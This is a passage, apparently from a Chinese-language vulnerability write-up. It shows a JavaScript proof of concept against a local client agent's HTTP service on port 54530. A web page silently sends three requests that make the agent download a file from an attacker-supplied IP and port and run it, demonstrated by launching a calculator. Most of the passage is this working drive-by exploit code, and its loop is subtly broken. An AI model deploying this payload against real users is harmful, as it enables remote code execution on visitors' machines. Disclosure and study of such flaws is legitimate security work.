会发现客户端请求之后,将文件下载到本地并启动该程序,成功弹出计算器:
Exploit很简单,当用户打开某个页面时访问那三个本地请求即可,这里使用JavaScript的fetch去实现即可:
<script> // 服务器IP和端口 var ip = "172.20.10.2"; var port = "4443"; var poc_list = ["https://127.0.0.1:54530/ECAgent/?op=InitECAgent&arg1=" + ip + " " + port + "&Guid=&callback=EA_cb10000", "https://127.0.0.1:54530/ECAgent/?op=CheckReLogin&arg1=3616f5b2ad1fe9b62b3d34509daa11259782919108eb2bebe59d64c808c3a079c6f6ae36b6ff1d63cb8067d08a9db72b70d912bfdb8bdc6ca18140cfa0ffb9e88b85acebf4bf544f71ff0fc662b9b95a8e939928b847018c106e1a96686e1ec3274a89ae0b8f77fc3d53a5ce0f1eec9a0ce8a5e4e2c927331cd94a67d5360a3e&token=c4202416e283e60809d3b1e04e4bae6b&Guid=&callback=EA_cb10003", "https://127.0.0.1:54530/ECAgent/?op=UpdateControls&arg1=BEFORELOGIN&Guid=&callback=EA_cb10005"]; for(var i=0; i<poc_list.length; i++){ setTimeout(fetch(poc_list),"2000");
}</script>